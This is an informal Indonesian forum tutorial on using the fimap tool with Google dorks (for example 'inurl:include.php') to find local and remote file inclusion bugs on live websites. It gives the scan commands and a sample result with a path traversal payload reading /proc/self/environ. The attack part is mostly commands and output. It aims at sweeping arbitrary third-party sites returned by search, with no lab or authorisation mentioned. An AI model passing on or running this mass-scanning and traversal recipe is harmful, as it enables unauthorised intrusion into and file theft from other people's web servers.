[Veronochi]

ok kk sekalian kali ini ane akan berbagi tentang bagaimana cara mencari bug LFI/RFI menggunakan tool yang ada di dalam BackTrack bisa juga di jalan kan di windows menggunakan software python terlebih dahulu karna tool ini menggunakan bahasa Python..

Link download Python

Tools nya

tapi tenang aja klo di linux backtrack tidak perlu install lagi karna sudah ada di dalamnya tools ini bernama FiMap.py

ngejalanin gampang sekali...

Code:

./fimap.py -h

klo bingung cara menggunakannya

Code:

./fimap.py -g -q 'dorknya'

Code:

./fimap.py -g -q 'inurl:include.php'

defaultnya yang ada di dalam fimap

dan jangn pernah kita tingga saat mencari bug LFI/RFI ini karna akan terus berjalan hingga page di dalam google sudah tidak ada website lagi pada dork tersebut.

dan apa bila berhasil akan keluar seperti

Code:

[INFO]www.xxxx.com/include.php?com=../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

berarti itu ada bug LFInya....
tutor ini untuk bug LFI dan RFInya tinggal di sesuai kan

Mohon Maaf Apa Bila Masih Ada Salah.
Masih Belajar.


Terima kasih

Salam Veronochi
Asus A43S
OS Window$ 7
Network IPv4